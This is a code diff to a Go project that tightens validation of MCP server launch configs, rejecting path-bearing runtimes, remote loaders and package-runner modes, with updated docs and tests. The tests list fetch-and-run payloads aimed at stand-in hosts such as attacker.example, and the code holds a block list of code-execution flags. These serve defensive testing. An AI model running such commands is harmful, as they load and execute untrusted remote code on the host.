diff --git a/docs/09-security.md b/docs/09-security.md index 6931c196..1e7d65d0 100644 --- a/docs/09-security.md +++ b/docs/09-security.md @@ -77,6 +77,8 @@ flowchart TD S3 --> ALLOW["Allow request"] ``` +**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to bare allowlisted runtime names resolved from `PATH`; path-bearing commands such as `./node`, `tools/node`, `/tmp/node`, or `.\\node.exe` are rejected to prevent wrapper substitution. Arguments reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above. + **Path traversal**: `resolvePath()` applies `filepath.Clean()` then `HasPrefix()` to ensure all paths stay within the workspace. With `restrict = true`, any path outside the workspace is blocked. **PathDenyable** -- An interface that lets filesystem tools reject specific path prefixes: diff --git a/internal/http/mcp_tools.go b/internal/http/mcp_tools.go index bcaa33dc..fb8052e6 100644 --- a/internal/http/mcp_tools.go +++ b/internal/http/mcp_tools.go @@ -31,6 +31,13 @@ func (h *MCPHandler) handleTestConnection(w http.ResponseWriter, r *http.Request writeJSON(w, http.StatusBadRequest, map[string]string{"error": i18n.T(locale, i18n.MsgRequired, "transport")}) return } + if err := mcpbridge.ValidateServerConfig(req.Transport, req.Command, req.Args, req.URL); err != nil { + writeJSON(w, http.StatusOK, map[string]any{ + "success": false, + "error": err.Error(), + }) + return + } tools, err := mcpbridge.DiscoverTools(r.Context(), req.Transport, req.Command, req.Args, req.Env, req.URL, req.Headers) if err != nil { diff --git a/internal/mcp/manager_tools.go b/internal/mcp/manager_tools.go index cd4373ad..513f1fe1 100644 --- a/internal/mcp/manager_tools.go +++ b/internal/mcp/manager_tools.go @@ -116,6 +116,10 @@ type ToolInfo struct { // DiscoverTools connects temporarily to an MCP server, lists its tools, and disconnects. // Used for on-demand discovery when no persistent Manager connection exists (DB-backed servers). func DiscoverTools(ctx context.Context, transportType, command string, args []string, env map[string]string, url string, headers map[string]string) ([]ToolInfo, error) { + if err := ValidateServerConfig(transportType, command, args, url); err != nil { + return nil, fmt.Errorf("invalid MCP server config: %w", err) + } + ctx, cancel := context.WithTimeout(ctx, 15*time.Second) defer cancel() diff --git a/internal/mcp/validation.go b/internal/mcp/validation.go index d5f5feec..6d8194b8 100644 --- a/internal/mcp/validation.go +++ b/internal/mcp/validation.go @@ -2,8 +2,10 @@ package mcp import ( "fmt" + "net/url" "os" "regexp" + "sort" "strings" "github.com/nextlevelbuilder/goclaw/internal/security" @@ -25,13 +27,13 @@ var shellMetaChars = regexp.MustCompile(`[;|&$` + "`" + `(){}[\]<>]`) // Dangerous arg flags that enable code execution. var dangerousArgPatterns = []string{ - "--eval", "-e", "-c", // Code execution flags - "--require", "-r", // Module injection - "--import", // ES module injection - "exec(", "eval(", // Inline code - "__import__", // Python import injection - "child_process", // Node.js process spawning - "subprocess", // Python subprocess + "--eval", "-e", "-c", // Code execution flags + "--require", "-r", // Module injection + "--import", // ES module injection + "exec(", "eval(", // Inline code + "__import__", // Python import injection + "child_process", // Node.js process spawning + "subprocess", // Python subprocess } // Fail-closed env var allowlist — only these are permitted for env: resolution. @@ -71,23 +73,17 @@ func ValidateCommand(cmd string) error { return fmt.Errorf("command contains newline characters") } - // Extract basename for allowlist check - basename := cmd - if idx := strings.LastIndex(cmd, "/"); idx >= 0 { - basename = cmd[idx+1:] - } + basename := commandBasename(cmd) - // Allow absolute paths to known commands - if strings.HasPrefix(cmd, "/") { - if !allowedCommands[basename] { - return fmt.Errorf("command %q not in allowlist", basename) - } - return nil + // Only bare runtime names are accepted. Path-bearing commands can point at + // workspace-controlled wrappers named after an allowlisted runtime. + if strings.ContainsAny(cmd, `/\`) { + return fmt.Errorf("command must be a bare allowlisted runtime name, not a path") } // Bare command must be in allowlist - if !allowedCommands[cmd] { - return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", cmd) + if !allowedCommands[basename] { + return fmt.Errorf("command %q not in allowlist (allowed: %s)", basename, allowedCommandNames()) } return nil } @@ -109,6 +105,281 @@ func ValidateArgs(args []string) error { return nil } +// ValidateArgsForCommand applies command-specific stdio restrictions after the +// generic argument scan. Several allowed runtimes also include package runners +// or remote loaders; those execution modes are blocked for untrusted MCP config. +func ValidateArgsForCommand(command string, args []string) error { + if err := ValidateArgs(args); err != nil { + return err + } + + switch commandBasename(command) { + case "node": + return validateNodeArgs(args) + case "python", "python2", "python3": + return validatePythonArgs(args) + case "deno": + return validateDenoArgs(args) + case "bun": + return validateBunArgs(args) + case "npx", "npm", "uvx", "uv", "pipx": + return validatePackageRunnerArgs(commandBasename(command), args) + case "go": + return validateGoArgs(args) + case "cargo": + return validateCargoArgs(args) + case "dotnet": + return validateDotnetArgs(args) + default: + return nil + } +} + +func commandBasename(command string) string { + base := strings.TrimSpace(command) + if idx := strings.LastIndexAny(base, `/\`); idx >= 0 { + base = base[idx+1:] + } + base = strings.TrimSuffix(strings.ToLower(base), ".exe") + return base +} + +func allowedCommandNames() string { + names := make([]string, 0, len(allowedCommands)) + for name := range allowedCommands { + names = append(names, name) + } + sort.Strings(names) + return strings.Join(names, ", ") +} + +func validateNodeArgs(args []string) error { + for i, arg := range args { + if isFlag(arg, "-p", "--print", "--loader", "--experimental-loader") { + return fmt.Errorf("arg[%d] uses blocked node execution flag %q", i, arg) + } + } + return nil +} + +func validatePythonArgs(args []string) error { + for i, arg := range args { + lower := strings.ToLower(arg) + if lower == "-m" || strings.HasPrefix(lower, "-m") && lower != "--" { + return fmt.Errorf("arg[%d] uses blocked python module execution flag %q", i, arg) + } + } + return nil +} + +func validateDenoArgs(args []string) error { + if err := validateRuntimeRemoteRefs(args); err != nil { + return err + } + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "add", "install": + return fmt.Errorf("arg[%d] uses blocked deno package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateBunArgs(args []string) error { + if err := validateRuntimeRemoteRefs(args); err != nil { + return err + } + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "x", "create", "add", "install", "update", "upgrade": + return fmt.Errorf("arg[%d] uses blocked bun package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateRuntimeRemoteRefs(args []string) error { + for i, arg := range args { + if isRemoteCodeReference(arg) { + return fmt.Errorf("arg[%d] uses blocked remote code reference %q", i, arg) + } + } + return nil +} + +func validatePackageRunnerArgs(command string, args []string) error { + switch command { + case "npx": + return validatePackageTargetArgs(command, args, []string{"--package", "-p", "--call"}) + case "uvx": + return validatePackageTargetArgs(command, args, []string{"--from", "--with", "--with-editable", "--with-requirements"}) + case "npm": + return validateNPMArgs(args) + case "pipx": + return validatePipxArgs(args) + case "uv": + return validateUVArgs(args) + default: + return nil + } +} + +func validatePackageTargetArgs(command string, args []string, blockedFlags []string) error { + for i, arg := range args { + if isFlag(arg, blockedFlags...) { + return fmt.Errorf("arg[%d] uses blocked %s package flag %q", i, command, arg) + } + if isOptionArg(arg) { + continue + } + if !isLikelyLocalPath(arg) { + return fmt.Errorf("arg[%d] uses blocked %s package target %q", i, command, arg) + } + } + return nil +} + +func validateNPMArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "exec", "x", "run", "run-script", "create", "install", "i", "add", "update", "upgrade": + return fmt.Errorf("arg[%d] uses blocked npm subcommand %q", i, args[i]) + } + } + return nil +} + +func validatePipxArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "inject", "upgrade", "upgrade-all", "runpip": + return fmt.Errorf("arg[%d] uses blocked pipx subcommand %q", i, args[i]) + } + } + return nil +} + +func validateUVArgs(args []string) error { + sawTool := false + sawPip := false + for i, arg := range args { + if isFlag(arg, "--with", "--with-editable", "--with-requirements", "--from") { + return fmt.Errorf("arg[%d] uses blocked uv package flag %q", i, arg) + } + lower := strings.ToLower(strings.TrimSpace(arg)) + if lower == "" || isOptionArg(lower) { + continue + } + switch { + case lower == "tool": + sawTool = true + continue + case lower == "pip": + sawPip = true + continue + case sawTool && (lower == "run" || lower == "install" || lower == "upgrade"): + return fmt.Errorf("arg[%d] uses blocked uv tool subcommand %q", i, args[i]) + case sawPip && (lower == "install" || lower == "sync"): + return fmt.Errorf("arg[%d] uses blocked uv pip subcommand %q", i, args[i]) + case lower == "add" || lower == "sync": + return fmt.Errorf("arg[%d] uses blocked uv package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateGoArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "get": + return fmt.Errorf("arg[%d] uses blocked go package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateCargoArgs(args []string) error { + for i, arg := range args { + switch strings.ToLower(strings.TrimSpace(arg)) { + case "run", "install", "add", "update": + return fmt.Errorf("arg[%d] uses blocked cargo package subcommand %q", i, args[i]) + } + } + return nil +} + +func validateDotnetArgs(args []string) error { + sawTool := false + sawAdd := false + for i, arg := range args { + lower := strings.ToLower(strings.TrimSpace(arg)) + if lower == "" || isOptionArg(lower) { + continue + } + switch { + case lower == "run", lower == "restore": + return fmt.Errorf("arg[%d] uses blocked dotnet subcommand %q", i, args[i]) + case lower == "tool": + sawTool = true + continue + case sawTool && (lower == "install" || lower == "update" || lower == "run"): + return fmt.Errorf("arg[%d] uses blocked dotnet tool subcommand %q", i, args[i]) + case lower == "add": + sawAdd = true + continue + case sawAdd && lower == "package": + return fmt.Errorf("arg[%d] uses blocked dotnet package subcommand %q", i, args[i]) + } + } + return nil +} + +func isFlag(arg string, names ...string) bool { + lower := strings.ToLower(strings.TrimSpace(arg)) + for _, name := range names { + if lower == name || strings.HasPrefix(lower, name+"=") { + return true + } + } + return false +} + +func isOptionArg(arg string) bool { + return strings.HasPrefix(strings.TrimSpace(arg), "-") +} + +func isLikelyLocalPath(arg string) bool { + arg = strings.TrimSpace(arg) + if strings.HasPrefix(arg, "./") || strings.HasPrefix(arg, `.\`) || + strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, `\`) { + return true + } + return len(arg) >= 3 && arg[1] == ':' && (arg[2] == '\\' || arg[2] == '/') +} + +func isRemoteCodeReference(arg string) bool { + arg = strings.TrimSpace(arg) + if isLikelyLocalPath(arg) { + return false + } + u, err := url.Parse(strings.TrimSpace(arg)) + if err != nil { + return false + } + if u.Scheme == "" { + return false + } + if len(u.Scheme) == 1 && len(arg) >= 2 && arg[1] == ':' { + return false + } + switch u.Scheme { + case "http", "https", "npm", "jsr", "git", "git+https", "git+ssh", "ssh": + return true + default: + return u.Host != "" + } +} + // ValidateURL checks URL for SSRF vulnerabilities using the existing security package. // This provides DNS rebinding protection via IP pinning. func ValidateURL(rawURL string) error { @@ -150,7 +421,7 @@ func ValidateServerConfig(transport, command string, args []string, url string) if err := ValidateCommand(command); err != nil { return fmt.Errorf("invalid command: %w", err) } - if err := ValidateArgs(args); err != nil { + if err := ValidateArgsForCommand(command, args); err != nil { return fmt.Errorf("invalid args: %w", err) } } diff --git a/internal/mcp/validation_test.go b/internal/mcp/validation_test.go index 42cc7be9..c756f059 100644 --- a/internal/mcp/validation_test.go +++ b/internal/mcp/validation_test.go @@ -1,6 +1,8 @@ package mcp import ( + "context" + "strings" "testing" "github.com/nextlevelbuilder/goclaw/internal/security" @@ -28,13 +30,14 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) { {"not in allowlist", "sh", true}, {"not in allowlist bash", "bash", true}, {"valid node", "node", false}, + {"valid node exe basename", "node.exe", false}, {"valid npx", "npx", false}, {"valid python", "python", false}, {"valid python3", "python3", false}, {"valid uvx", "uvx", false}, {"valid deno", "deno", false}, {"valid bun", "bun", false}, - {"valid absolute path", "/usr/local/bin/node", false}, + {"absolute path to runtime rejected", "/usr/local/bin/node", true}, {"empty command", "", false}, } for _, tt := range tests { @@ -50,6 +53,41 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) { } } +func TestValidateCommand_PathBearingRuntimeRejected(t *testing.T) { + tests := []string{ + "./node", + "tools/node", + "./python", + `.\node.exe`, + `tools\node.exe`, + "/tmp/node", + "/workspace/node", + `C:\tmp\node.exe`, + } + + for _, command := range tests { + t.Run(command, func(t *testing.T) { + if err := ValidateCommand(command); err == nil { + t.Fatalf("ValidateCommand(%q) accepted path-bearing runtime", command) + } + }) + } +} + +func TestValidateCommand_AllowedCommandsErrorIsComplete(t *testing.T) { + err := ValidateCommand("sh") + if err == nil { + t.Fatal("ValidateCommand accepted disallowed command") + } + + msg := err.Error() + for _, want := range []string{"cargo", "dotnet", "npm", "php", "python2"} { + if !strings.Contains(msg, want) { + t.Fatalf("allowlist error %q missing %q", msg, want) + } + } +} + func TestValidateArgs_DangerousPatterns_Rejected(t *testing.T) { tests := []struct { name string @@ -226,6 +264,146 @@ func TestValidateServerConfig_Combined(t *testing.T) { } } +func TestValidateServerConfig_StdioRuntimeBypassPayloadsRejected(t *testing.T) { + tests := []struct { + name string + command string + args []string + }{ + { + name: "deno remote script url", + command: "deno", + args: []string{"run", "--allow-all", "https://attacker.example/mcp.ts"}, + }, + { + name: "deno npm package spec", + command: "deno", + args: []string{"run", "npm:@attacker/mcp-server"}, + }, + { + name: "bun remote script url", + command: "bun", + args: []string{"https://attacker.example/mcp.ts"}, + }, + { + name: "bun package executor", + command: "bun", + args: []string{"x", "attacker-mcp-server"}, + }, + { + name: "npx remote package target", + command: "npx", + args: []string{"@attacker/mcp-server@1.0.0"}, + }, + { + name: "uvx remote package target", + command: "uvx", + args: []string{"attacker-mcp-server"}, + }, + { + name: "pipx run remote package target", + command: "pipx", + args: []string{"run", "attacker-mcp-server"}, + }, + { + name: "uv run package injection", + command: "uv", + args: []string{"run", "--with", "attacker-mcp-server", "python", "-V"}, + }, + { + name: "node remote loader", + command: "node", + args: []string{"--loader=https://attacker.example/loader.mjs", "./server.js"}, + }, + { + name: "node print flag", + command: "node", + args: []string{"-p", "process.version"}, + }, + { + name: "python module execution", + command: "python", + args: []string{"-m", "pip", "--version"}, + }, + { + name: "npm exec remote package", + command: "npm", + args: []string{"exec", "attacker-mcp-server"}, + }, + { + name: "npm option before exec", + command: "npm", + args: []string{"--prefix", ".", "exec", "attacker-mcp-server"}, + }, + { + name: "pipx option before run", + command: "pipx", + args: []string{"--global", "run", "attacker-mcp-server"}, + }, + { + name: "uv pip option before install", + command: "uv", + args: []string{"pip", "--python", "3.12", "install", "attacker-mcp-server"}, + }, + { + name: "go run remote package", + command: "go", + args: []string{"run", "github.com/attacker/mcp-server@latest"}, + }, + { + name: "cargo install remote crate", + command: "cargo", + args: []string{"install", "attacker-mcp-server"}, + }, + { + name: "dotnet tool install package", + command: "dotnet", + args: []string{"tool", "install", "attacker-mcp-server"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err == nil { + t.Fatalf("ValidateServerConfig accepted %s %v", tt.command, tt.args) + } + }) + } +} + +func TestValidateServerConfig_StdioLocalServerArgsAllowed(t *testing.T) { + tests := []struct { + name string + command string + args []string + }{ + {name: "node local script", command: "node", args: []string{"./server.js"}}, + {name: "python local script", command: "python3", args: []string{"./server.py"}}, + {name: "deno local script", command: "deno", args: []string{"run", "./server.ts"}}, + {name: "bun local script", command: "bun", args: []string{"./server.ts"}}, + {name: "npx local target", command: "npx", args: []string{"./node_modules/.bin/mcp-server"}}, + {name: "uv local run", command: "uv", args: []string{"run", "./server.py"}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err != nil { + t.Fatalf("ValidateServerConfig rejected local server args: %v", err) + } + }) + } +} + +func TestDiscoverTools_RejectsUnsafeConfigBeforeSpawn(t *testing.T) { + _, err := DiscoverTools(context.Background(), "stdio", "npx", []string{"@attacker/mcp-server@1.0.0"}, nil, "", nil) + if err == nil { + t.Fatal("DiscoverTools accepted unsafe stdio config") + } + if !strings.Contains(err.Error(), "invalid MCP server config") { + t.Fatalf("DiscoverTools error = %v, want validation error", err) + } +} + func TestValidateHeaders_EnvVarCheck(t *testing.T) { tests := []struct { name string